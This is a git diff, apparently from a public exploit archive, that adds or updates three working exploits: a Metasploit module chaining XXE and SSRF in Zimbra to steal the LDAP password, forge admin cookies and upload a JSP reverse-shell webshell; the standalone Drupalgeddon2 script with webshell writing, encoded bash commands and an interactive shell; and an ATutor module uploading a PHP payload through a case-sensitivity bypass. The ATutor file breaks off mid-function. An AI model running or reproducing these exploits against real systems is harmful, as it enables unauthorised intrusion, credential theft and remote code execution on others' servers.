diff --git a/exploits/linux/remote/46693.rb b/exploits/linux/remote/46693.rb new file mode 100755 index 000000000..37b8f1771 --- /dev/null +++ b/exploits/linux/remote/46693.rb @@ -0,0 +1,258 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF', + 'Description' => %q{ + This module exploits an XML external entity vulnerability and a + server side request forgery to get unauthenticated code execution + on Zimbra Collaboration Suite. The XML external entity vulnerability + in the Autodiscover Servlet is used to read a Zimbra configuration + file that contains an LDAP password for the 'zimbra' account. The + zimbra credentials are then used to get a user authentication cookie + with an AuthRequest message. Using the user cookie, a server side request + forgery in the Proxy Servlet is used to proxy an AuthRequest with + the 'zimbra' credentials to the admin port to retrieve an admin + cookie. After gaining an admin cookie the Client Upload servlet is + used to upload a JSP webshell that can be triggered from the web + server to get command execution on the host. The issues reportedly + affect Zimbra Collaboration Suite v8.5 to v8.7.11. + + This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64 + UBUNTU16_64 FOSS edition. + }, + 'Author' => + [ + 'An Trinh', # Discovery + 'Khanh Viet Pham', # Discovery + 'Jacob Robles' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2019-9670'], + ['CVE', '2019-9621'], + ['URL', 'https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html'] + ], + 'Platform' => ['linux'], + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'Automatic', { } ] + ], + 'DefaultOptions' => { + 'RPORT' => 8443, + 'SSL' => true, + 'PAYLOAD' => 'java/jsp_shell_reverse_tcp' + }, + 'Stance' => Stance::Aggressive, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2019-03-13' # Blog post date + )) + + register_options [ + OptString.new('TARGETURI', [true, 'Zimbra application base path', '/']), + OptInt.new('HTTPDELAY', [true, 'Number of seconds the web server will wait before termination', 10]) + ] + end + + def xxe_req(data) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri, '/autodiscover'), + 'encode_params' => false, + 'data' => data + }) + fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 503 + res + end + + def soap_discover(check_soap=false) + xml = REXML::Document.new + + xml.add_element('Autodiscover') + xml.root.add_element('Request') + + req = xml.root.elements[1] + + req.add_element('EMailAddress') + req.add_element('AcceptableResponseSchema') + + replace_text = 'REPLACE' + req.elements['EMailAddress'].text = Faker::Internet.email + req.elements['AcceptableResponseSchema'].text = replace_text + + doc = rand_text_alpha_lower(4..8) + entity = rand_text_alpha_lower(4..8) + local_file = '/etc/passwd' + + res = "" + if check_soap + local = "file://#{local_file}" + res << "]>" + res << "#{xml.to_s.sub(replace_text, "&#{entity};")}" + else + local = "http://#{srvhost_addr}:#{srvport}#{@service_path}" + res << "" + res << "%#{entity};]>" + res << "#{xml.to_s.sub(replace_text, "&#{@ent_data};")}" + end + res + end + + def soap_auth(zimbra_user, zimbra_pass, admin=true) + urn = admin ? 'urn:zimbraAdmin' : 'urn:zimbraAccount' + xml = REXML::Document.new + + xml.add_element( + 'soap:Envelope', + {'xmlns:soap' => 'http://www.w3.org/2003/05/soap-envelope'} + ) + + xml.root.add_element('soap:Body') + body = xml.root.elements[1] + body.add_element( + 'AuthRequest', + {'xmlns' => urn} + ) + + zimbra_acc = body.elements[1] + zimbra_acc.add_element( + 'account', + {'by' => 'adminName'} + ) + zimbra_acc.add_element('password') + + zimbra_acc.elements['account'].text = zimbra_user + zimbra_acc.elements['password'].text = zimbra_pass + + xml.to_s + end + + def cookie_req(data) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri, '/service/soap/'), + 'data' => data + }) + fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200 + res + end + + def proxy_req(data, auth_cookie) + target = "https://127.0.0.1:7071#{normalize_uri(target_uri, '/service/admin/soap/AuthRequest')}" + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri, '/service/proxy/'), + 'vars_get' => {'target' => target}, + 'cookie' => "ZM_ADMIN_AUTH_TOKEN=#{auth_cookie}", + 'data' => data, + 'headers' => {'Host' => "#{datastore['RHOST']}:7071"} + }) + fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200 + res + end + + def upload_file(file_name, contents, cookie) + data = Rex::MIME::Message.new + data.add_part(file_name, nil, nil, 'form-data; name="filename1"') + data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"") + data.add_part("#{rand_text_numeric(2..5)}", nil, nil, 'form-data; name="requestId"') + post_data = data.to_s + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri, '/service/extension/clientUploader/upload'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data, + 'cookie' => cookie + }) + end + + def check + begin + res = xxe_req(soap_discover(true)) + rescue Msf::Exploit::Failed + return CheckCode::Unknown + end + + if res.body.include?('zimbra') + return CheckCode::Vulnerable + end + + CheckCode::Unknown + end + + def on_request_uri(cli, req) + ent_file = rand_text_alpha_lower(4..8) + ent_eval = rand_text_alpha_lower(4..8) + + dtd = <<~HERE + + '>"> + %#{ent_eval}; + HERE + send_response(cli, dtd) + end + + def primer + datastore['SSL'] = @ssl + res = xxe_req(soap_discover) + fail_with(Failure::UnexpectedReply, 'Password not found') unless res.body =~ /ldap_password.*?value>(.*?)<\/value/m + password = $1 + username = 'zimbra' + + print_good("Password found: #{password}") + + data = soap_auth(username, password, false) + res = cookie_req(data) + + fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /ZM_AUTH_TOKEN=([^;]+;)/ + auth_cookie = $1 + + print_good("User cookie retrieved: ZM_AUTH_TOKEN=#{auth_cookie}") + + data = soap_auth(username, password) + res = proxy_req(data, auth_cookie) + + fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /(ZM_ADMIN_AUTH_TOKEN=[^;]+;)/ + admin_cookie = $1 + + print_good("Admin cookie retrieved: #{admin_cookie}") + + stager_name = "#{rand_text_alpha(8..16)}.jsp" + print_status('Uploading jsp shell') + res = upload_file(stager_name, payload.encoded, admin_cookie) + + fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") unless res && res.code == 200 + # Only shell sessions are supported + register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name}' -type f)") + register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*1StreamConnector.class' -type f)") + register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*class' -type f)") + register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*java' -type f)") + + print_status("Executing payload on /downloads/#{stager_name}") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri, "/downloads/#{stager_name}"), + 'cookie' => admin_cookie + }) + end + + def exploit + @ent_data = rand_text_alpha_lower(4..8) + @ssl = datastore['SSL'] + datastore['SSL'] = false + Timeout.timeout(datastore['HTTPDELAY']) { super } + rescue Timeout::Error + end +end \ No newline at end of file diff --git a/exploits/php/webapps/44449.rb b/exploits/php/webapps/44449.rb index e476524c6..37801373d 100755 --- a/exploits/php/webapps/44449.rb +++ b/exploits/php/webapps/44449.rb @@ -1,6 +1,6 @@ #!/usr/bin/env ruby # -# [CVE-2018-7600] Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/ +# [CVE-2018-7600] Drupal <= 8.5.0 / <= 8.4.5 / <= 8.3.8 / 7.23 <= 7.57 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/ # # Authors: # - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked @@ -13,21 +13,20 @@ require 'json' require 'net/http' require 'openssl' require 'readline' +require 'highline/import' -# Settings - Proxy information (nil to disable) -proxy_addr = nil -proxy_port = 8080 - - -# Settings - General +# Settings - Try to write a PHP to the web root? +try_phpshell = true +# Settings - General/Stealth $useragent = "drupalgeddon2" -webshell = "s.php" -writeshell = true +webshell = "shell.php" +# Settings - Proxy information (nil to disable) +$proxy_addr = nil +$proxy_port = 8080 -# Settings - Payload (we could just be happy without this, but we can do better!) -#bashcmd = "' +# Settings - Payload (we could just be happy without this PHP shell, by using just the OS shell - but this is 'better'!) bashcmd = "&1' ); }" bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d" @@ -35,90 +34,199 @@ bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d" # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -# Function http_post [post] -def http_post(url, payload="") - uri = URI(url) - request = Net::HTTP::Post.new(uri.request_uri) - request.initialize_http_header({"User-Agent" => $useragent}) - request.body = payload - return $http.request(request) +# Function http_request [type] [data] +def http_request(url, type="get", payload="", cookie="") + puts verbose("HTTP - URL : #{url}") if $verbose + puts verbose("HTTP - Type: #{type}") if $verbose + puts verbose("HTTP - Data: #{payload}") if not payload.empty? and $verbose + + begin + uri = URI(url) + request = type =~ /get/? Net::HTTP::Get.new(uri.request_uri) : Net::HTTP::Post.new(uri.request_uri) + request.initialize_http_header({"User-Agent" => $useragent}) + request.initialize_http_header("Cookie" => cookie) if not cookie.empty? + request.body = payload if not payload.empty? + return $http.request(request) + rescue SocketError + puts error("Network connectivity issue") + rescue Errno::ECONNREFUSED => e + puts error("The target is down ~ #{e.message}") + puts error("Maybe try disabling the proxy (#{$proxy_addr}:#{$proxy_port})...") if $proxy_addr + rescue Timeout::Error => e + puts error("The target timed out ~ #{e.message}") + end + + # If we got here, something went wrong. + exit end -# Function gen_evil_url -def gen_evil_url(evil, feedback=true) - # PHP function to use (don't forget about disabled functions...) - phpmethod = $drupalverion.start_with?('8')? "exec" : "passthru" +# Function gen_evil_url [method] [shell] [phpfunction] +def gen_evil_url(evil, element="", shell=false, phpfunction="passthru") + puts info("Payload: #{evil}") if not shell + puts verbose("Element : #{element}") if not shell and not element.empty? and $verbose + puts verbose("PHP fn : #{phpfunction}") if not shell and $verbose - #puts "[*] PHP cmd: #{phpmethod}" if feedback - puts "[*] Payload: #{evil}" if feedback + # Vulnerable parameters: #access_callback / #lazy_builder / #pre_render / #post_render + # Check the version to match the payload + if $drupalverion.start_with?("8") and element == "mail" + # Method #1 - Drupal v8.x: mail, #post_render - HTTP 200 + url = $target + $clean_url + $form + "?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" + payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpfunction + "&mail[a][#type]=markup&mail[a][#markup]=" + evil - ## Check the version to match the payload - # Vulnerable Parameters: #access_callback / #lazy_builder / #pre_render / #post_render - if $drupalverion.start_with?('8') - # Method #1 - Drupal 8, mail, #post_render - response is 200 - url = $target + "user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" - payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpmethod + "&mail[a][#type]=markup&mail[a][#markup]=" + evil + elsif $drupalverion.start_with?("8") and element == "timezone" + # Method #2 - Drupal v8.x: timezone, #lazy_builder - HTTP 500 if phpfunction=exec // HTTP 200 if phpfunction=passthru + url = $target + $clean_url + $form + "?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax" + payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=" + phpfunction + "&timezone[a][#lazy_builder][][]=" + evil - # Method #2 - Drupal 8, timezone, #lazy_builder - response is 500 & blind (will need to disable target check for this to work!) - #url = $target + "user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax" - #payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=" + evil - elsif $drupalverion.start_with?('7') - # Method #3 - Drupal 7, name, #post_render - response is 200 - url = $target + "?q=user/password&name[%23post_render][]=" + phpmethod + "&name[%23type]=markup&name[%23markup]=" + evil + #puts warning("WARNING: May benefit to use a PHP web shell") if not try_phpshell and phpfunction != "passthru" + + elsif $drupalverion.start_with?("7") and element == "name" + # Method #3 - Drupal v7.x: name, #post_render - HTTP 200 + url = $target + "#{$clean_url}#{$form}&name[%23post_render][]=" + phpfunction + "&name[%23type]=markup&name[%23markup]=" + evil payload = "form_id=user_pass&_triggering_element_name=name" - else - puts "[!] Unsupported Drupal version" - exit end - # Drupal v7 needs an extra value from a form - if $drupalverion.start_with?('7') - response = http_post(url, payload) + # Drupal v7.x needs an extra value from a form + if $drupalverion.start_with?("7") + response = http_request(url, "post", payload, $session_cookie) - form_build_id = response.body.match(/input type="hidden" name="form_build_id" value="(.*)"/).to_s().slice(/value="(.*)"/, 1).to_s.strip - puts "[!] WARNING: Didn't detect form_build_id" if form_build_id.empty? + form_name = "form_build_id" + puts verbose("Form name : #{form_name}") if $verbose - #url = $target + "file/ajax/name/%23value/" + form_build_id - url = $target + "?q=file/ajax/name/%23value/" + form_build_id - payload = "form_build_id=" + form_build_id + form_value = response.body.match(/input type="hidden" name="#{form_name}" value="(.*)"/).to_s.slice(/value="(.*)"/, 1).to_s.strip + puts warning("WARNING: Didn't detect #{form_name}") if form_value.empty? + puts verbose("Form value : #{form_value}") if $verbose + + url = $target + "#{$clean_url}file/ajax/name/%23value/" + form_value + payload = "#{form_name}=#{form_value}" end return url, payload end +# Function clean_result +def clean_result(input) + #result = JSON.pretty_generate(JSON[response.body]) + #result = $drupalverion.start_with?("8")? JSON.parse(clean)[0]["data"] : clean + clean = input.to_s.strip + + # PHP function: passthru + # For: [{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}] + clean.slice!(/\[{"command":".*}\]$/) + + # PHP function: exec + # For: [{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}] + #clean.slice!(/\[{"command":".*data":"/) + #clean.slice!(/\\u003Cspan class=\\u0022.*}\]$/) + + # Newer PHP for an older Drupal + # For: Deprecated: assert(): Calling assert() with a string argument is deprecated in /var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php on line 151
+ #clean.slice!(/.*
/) + + # Drupal v8.x Method #2 ~ timezone, #lazy_builder, passthru, HTTP 500 + # For: Deprecated: assert(): Calling assert() with a string argument is deprecated in /var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php on line 151
+ clean.slice!(/The website encountered an unexpected error.*/) + + return clean +end + + +# Feedback when something goes right +def success(text) + # Green + return "\e[#{32}m[+]\e[0m #{text}" +end + +# Feedback when something goes wrong +def error(text) + # Red + return "\e[#{31}m[-]\e[0m #{text}" +end + +# Feedback when something may have issues +def warning(text) + # Yellow + return "\e[#{33}m[!]\e[0m #{text}" +end + +# Feedback when something doing something +def action(text) + # Blue + return "\e[#{34}m[*]\e[0m #{text}" +end + +# Feedback with helpful information +def info(text) + # Light blue + return "\e[#{94}m[i]\e[0m #{text}" +end + +# Feedback for the overkill +def verbose(text) + # Dark grey + return "\e[#{90}m[v]\e[0m #{text}" +end + + # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +def init_authentication() + $uname = ask('Enter your username: ') { |q| q.echo = false } + $passwd = ask('Enter your password: ') { |q| q.echo = false } + $uname_field = ask('Enter the name of the username form field: ') { |q| q.echo = true } + $passwd_field = ask('Enter the name of the password form field: ') { |q| q.echo = true } + $login_path = ask('Enter your login path (e.g., user/login): ') { |q| q.echo = true } + $creds_suffix = ask('Enter the suffix eventually required after the credentials in the login HTTP POST request (e.g., &form_id=...): ') { |q| q.echo = true } +end + +def is_arg(args, param) + args.each do |arg| + if arg == param + return true + end + end + return false +end + # Quick how to use +def usage() + puts 'Usage: ruby drupalggedon2.rb [--authentication] [--verbose]' + puts 'Example for target that does not require authentication:' + puts ' ruby drupalgeddon2.rb https://example.com' + puts 'Example for target that does require authentication:' + puts ' ruby drupalgeddon2.rb https://example.com --authentication' +end + + +# Read in values if ARGV.empty? - puts "Usage: ruby drupalggedon2.rb " - puts " ruby drupalgeddon2.rb https://example.com" + usage() exit end -# Read in values + $target = ARGV[0] +init_authentication() if is_arg(ARGV, '--authentication') +$verbose = is_arg(ARGV, '--verbose') # Check input for protocol -if not $target.start_with?('http') - $target = "http://#{target}" -end +$target = "http://#{$target}" if not $target.start_with?("http") # Check input for the end -if not $target.end_with?('/') - $target += "/" -end +$target += "/" if not $target.end_with?("/") # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Banner -puts "[*] --==[::#Drupalggedon2::]==--" +puts action("--==[::#Drupalggedon2::]==--") puts "-"*80 -puts "[*] Target : #{$target}" -puts "[*] Write? : Skipping writing web shell" if not writeshell +puts info("Target : #{$target}") +puts info("Proxy : #{$proxy_addr}:#{$proxy_port}") if $proxy_addr +puts info("Write? : Skipping writing PHP web shell") if not try_phpshell puts "-"*80 @@ -127,8 +235,7 @@ puts "-"*80 # Setup connection uri = URI($target) -$http = Net::HTTP.new(uri.host, uri.port, proxy_addr, proxy_port) - +$http = Net::HTTP.new(uri.host, uri.port, $proxy_addr, $proxy_port) # Use SSL/TLS if needed if uri.scheme == "https" @@ -136,97 +243,309 @@ if uri.scheme == "https" $http.verify_mode = OpenSSL::SSL::VERIFY_NONE end +$session_cookie = '' +# If authentication required then login and get session cookie +if $uname + $payload = $uname_field + '=' + $uname + '&' + $passwd_field + '=' + $passwd + $creds_suffix + response = http_request($target + $login_path, 'post', $payload, $session_cookie) + if (response.code == '200' or response.code == '303') and not response.body.empty? and response['set-cookie'] + $session_cookie = response['set-cookie'].split('; ')[0] + puts success("Logged in - Session Cookie : #{$session_cookie}") + end + +end # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Try and get version -$drupalverion = nil +$drupalverion = "" + # Possible URLs url = [ + # --- changelog --- + # Drupal v6.x / v7.x [200] $target + "CHANGELOG.txt", + # Drupal v8.x [200] $target + "core/CHANGELOG.txt", + + # --- bootstrap --- + # Drupal v7.x / v6.x [403] $target + "includes/bootstrap.inc", + # Drupal v8.x [403] $target + "core/includes/bootstrap.inc", + + # --- database --- + # Drupal v7.x / v6.x [403] + $target + "includes/database.inc", + # Drupal v7.x [403] + #$target + "includes/database/database.inc", + # Drupal v8.x [403] + #$target + "core/includes/database.inc", + + # --- landing page --- + # Drupal v8.x / v7.x [200] + $target, ] + # Check all url.each do|uri| # Check response - response = http_post(uri) + response = http_request(uri, 'get', '', $session_cookie) + # Check header + if response['X-Generator'] and $drupalverion.empty? + header = response['X-Generator'].slice(/Drupal (.*) \(https:\/\/www.drupal.org\)/, 1).to_s.strip + + if not header.empty? + $drupalverion = "#{header}.x" if $drupalverion.empty? + puts success("Header : v#{header} [X-Generator]") + puts verbose("X-Generator: #{response['X-Generator']}") if $verbose + end + end + + # Check request response, valid if response.code == "200" - puts "[+] Found : #{uri} (#{response.code})" + tmp = $verbose ? " [HTTP Size: #{response.size}]" : "" + puts success("Found : #{uri} (HTTP Response: #{response.code})#{tmp}") - # Patched already? - puts "[!] WARNING: Might be patched! Found SA-CORE-2018-002: #{url}" if response.body.include? "SA-CORE-2018-002" + # Check to see if it says: The requested URL "http://" was not found on this server. + puts warning("WARNING: Could be a false-positive [1-1], as the file could be reported to be missing") if response.body.downcase.include? "was not found on this server" - # Try and get version from the file contents - $drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip + # Check to see if it says:

Page not found

The requested page could not be found.
+ puts warning("WARNING: Could be a false-positive [1-2], as the file could be reported to be missing") if response.body.downcase.include? "the requested page could not be found" - # If not, try and get it from the URL - $drupalverion = uri.match(/core/)? "8.x" : "7.x" if $drupalverion.empty? + # Only works for CHANGELOG.txt + if uri.match(/CHANGELOG.txt/) + # Check if valid. Source ~ https://api.drupal.org/api/drupal/core%21CHANGELOG.txt/8.5.x // https://api.drupal.org/api/drupal/CHANGELOG.txt/7.x + puts warning("WARNING: Unable to detect keyword 'drupal.org'") if not response.body.downcase.include? "drupal.org" - # Done! - break - elsif response.code == "403" - puts "[+] Found : #{uri} (#{response.code})" + # Patched already? (For Drupal v8.4.x / v7.x) + puts warning("WARNING: Might be patched! Found SA-CORE-2018-002: #{url}") if response.body.include? "SA-CORE-2018-002" + + # Try and get version from the file contents (For Drupal v8.4.x / v7.x) + $drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip + + # Blank if not valid + $drupalverion = "" if not $drupalverion[-1] =~ /\d/ + end + + # Check meta tag + if not response.body.empty? + # For Drupal v8.x / v7.x + meta = response.body.match(/> ", true).to_s + # Check input + puts warning("WARNING: Detected an known bad character (>)") if command =~ />/ + # Exit - break if command =~ /exit/ + break if command == "exit" # Blank link? next if command.empty? - # If PHP shell - if webshellpath + # If PHP web shell + if not webshellpath.empty? # Send request - result = http_post("#{$target}#{webshell}", "c=#{command}").body - # Direct commands + result = http_request("#{$target}#{webshellpath}", "post", "c=#{command}", $session_cookie).body + # Direct OS commands else - url, payload = gen_evil_url(command, false) - response = http_post(url, payload) - if response.code == "200" and not response.body.empty? - result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body + url, payload = gen_evil_url(command, $element, true) + response = http_request(url, "post", payload, $session_cookie) + + # Check result + if not response.body.empty? + result = clean_result(response.body) end end diff --git a/exploits/php/webapps/46691.rb b/exploits/php/webapps/46691.rb new file mode 100755 index 000000000..fdad93c61 --- /dev/null +++ b/exploits/php/webapps/46691.rb @@ -0,0 +1,287 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "ATutor < 2.2.4 'file_manager' Remote Code Execution", + 'Description' => %q{ + This module allows the user to run commands on the server with teacher user privilege. + The 'Upload files' section in the 'File Manager' field contains arbitrary file upload vulnerability. + The "$IllegalExtensions" function has control weakness and shortcomings. + It is possible to see illegal extensions within "constants.inc.php". (exe|asp|php|php3|php5|cgi|bat...) + However, there is no case-sensitive control. Therefore, it is possible to bypass control with filenames such as ".phP", ".Php" + It can also be used in dangerous extensions such as "shtml" and "phtml". + The directory path for the "content" folder is located at "config.inc.php". + For the exploit to work, the "define ('AT_CONTENT_DIR', 'address')" content folder must be located in the web home directory or the address must be known. + + This exploit creates a course with the teacher user and loads the malicious php file into server. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & MSF Module + ], + 'References' => + [ + [ 'CVE', '' ], + [ 'URL', 'http://pentest.com.tr/exploits/ATutor-2-2-4-file-manager-Remote-Code-Execution-Injection-Metasploit.html' ], + [ 'URL', 'https://atutor.github.io/' ], + [ 'URL', 'http://www.atutor.ca/' ] + ], + 'Privileged' => false, + 'Payload' => + { + 'DisableNops' => true, + }, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [[ 'Automatic', { }]], + 'DisclosureDate' => '09 April 2019', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']), + OptString.new('USERNAME', [true, 'The Teacher Username to authenticate as']), + OptString.new('PASSWORD', [true, 'The Teacher password to authenticate with']), + OptString.new('CONTENT_DIR', [true, 'The content folder location', 'content']) + ],self.class) + end + + def exec_payload + + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "#{datastore['CONTENT_DIR']}", @course_id, "#{@fn}") + }) + end + + def peer + "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" + end + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def print_error(msg='') + super("#{peer} - #{msg}") + end + + def print_good(msg='') + super("#{peer} - #{msg}") + end +## +# Version and Vulnerability Check +## + def check + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "#{datastore['CONTENT_DIR']}/") + }) + + unless res + vprint_error 'Connection failed' + return CheckCode::Unknown + end + + if res.code == 404 + return Exploit::CheckCode::Safe + end + return Exploit::CheckCode::Appears + end +## +# csrftoken read and create a new course +## + def create_course(cookie, check) + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "mods", "_core", "courses", "users", "create_course.php"), + 'headers' => + { + 'Referer' => "#{peer}#{datastore['TARGETURI']}users/index.php", + 'cookie' => cookie, + }, + 'agent' => 'Mozilla' + }) + + if res && res.code == 200 && res.body =~ /Create Course: My Start Pag/ + @token = res.body.split('csrftoken" value="')[1].split('"')[0] + else + return false + end + + @course_name = Rex::Text.rand_text_alpha_lower(5) + post_data = Rex::MIME::Message.new + post_data.add_part(@token, nil, nil,'form-data; name="csrftoken"') + post_data.add_part('true', nil, nil, 'form-data; name="form_course"') + post_data.add_part(@course_name, nil, nil, 'form-data; name="title"') + post_data.add_part('top', nil, nil, 'form-data; name="content_packaging"') + post_data.add_part('protected', nil, nil, 'form-data; name="access"') + post_data.add_part('Save', nil, nil, 'form-data; name="submit"') + data = post_data.to_s + + res = send_request_cgi({ + 'method' => 'POST', + 'data' => data, + 'agent' => 'Mozilla', + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'cookie' => cookie, + 'uri' => normalize_uri(target_uri.path, "mods", "_core", "courses", "users", "create_course.php") + }) + + location = res.redirection.to_s + if res && res.code == 302 && location.include?('bounce.php?course') + @course_id = location.split('course=')[1].split("&p")[0] + return true + else + return false + end + end +## +# Upload malicious file // payload integration +## + def upload_shell(cookie, check) + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "bounce.php?course=" + @course_id), + 'headers' => + { + 'Referer' => "#{peer}#{datastore['TARGETURI']}users/index.php", + 'cookie' => cookie, + }, + 'agent' => 'Mozilla' + }) + + ucookie = "ATutorID=#{$2};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*);/ + + file_name = Rex::Text.rand_text_alpha_lower(8) + ".phP" + @fn = "#{file_name}" + post_data = Rex::MIME::Message.new + post_data.add_part('10485760', nil, nil, 'form-data; name="MAX_FILE_SIZE"') + post_data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"uploadedfile\"; filename=\"#{file_name}\"") + post_data.add_part('Upload', nil, nil, 'form-data; name="submit"') + post_data.add_part('', nil, nil, 'form-data; name="pathext"') + + data = post_data.to_s + + res = send_request_cgi({ + 'method' => 'POST', + 'data' => data, + 'agent' => 'Mozilla', + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'cookie' => ucookie, + 'uri' => normalize_uri(target_uri.path, "mods", "_core", "file_manager", "upload.php") + }) + + if res && res.code == 302 && res.redirection.to_s.include?('index.php?pathext') + print_status("Trying to upload #{file_name}") + return true + else + print_status("Error occurred during uploading!") + return false + end + end +## +# Password encryption with csrftoken +## + def get_hashed_password(token, password, check) + if check + return Rex::Text.sha1(password + token) + else + return Rex::Text.sha1(Rex::Text.sha1(password) + token) + end + end +## +# User login operations +## + def login(username, password, check) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "login.php"), + 'agent' => 'Mozilla', + }) + + token = $1 if res.body =~ /\) \+ \"(.*)\"\);/ + cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/ + if check + password = get_hashed_password(token, password, true) + else + password = get_hashed_password(token, password, false) + end + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "login.php"), + 'vars_post' => { + 'form_password_hidden' => password, + 'form_login' => username, + 'submit' => 'Login' + }, + 'cookie' => cookie, + 'agent' => 'Mozilla' + }) + cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/ + + if res && res.code == 302 + if res.redirection.to_s.include?('bounce.php?course=0') + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, res.redirection), + 'cookie' => cookie, + 'agent' => 'Mozilla' + }) + cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/ + if res && res.code == 302 && res.redirection.to_s.include?('users/index.php') + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, res.redirection), + 'cookie' => cookie, + 'agent' => 'Mozilla' + }) + cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/ + return cookie + end + else res.redirection.to_s.include?('admin/index.php') + fail_with(Failure::NoAccess, 'The account is the administrator. Please use a teacher account!') + return cookie + end + end + + fail_with(Failure::NoAccess, "Authentication failed with username #{username}") + return nil + end +## +# Exploit controls and information +## + def exploit + tcookie = login(datastore['USERNAME'], datastore['PASSWORD'], false) + print_good("Logged in as #{datastore['USERNAME']}") + + if create_course(tcookie, true) + print_status("CSRF Token : " + @token) + print_status("Course Name : " + @course_name + " Course ID : " + @course_id) + print_good("New course successfully created.") + end + + if upload_shell(tcookie, true) + 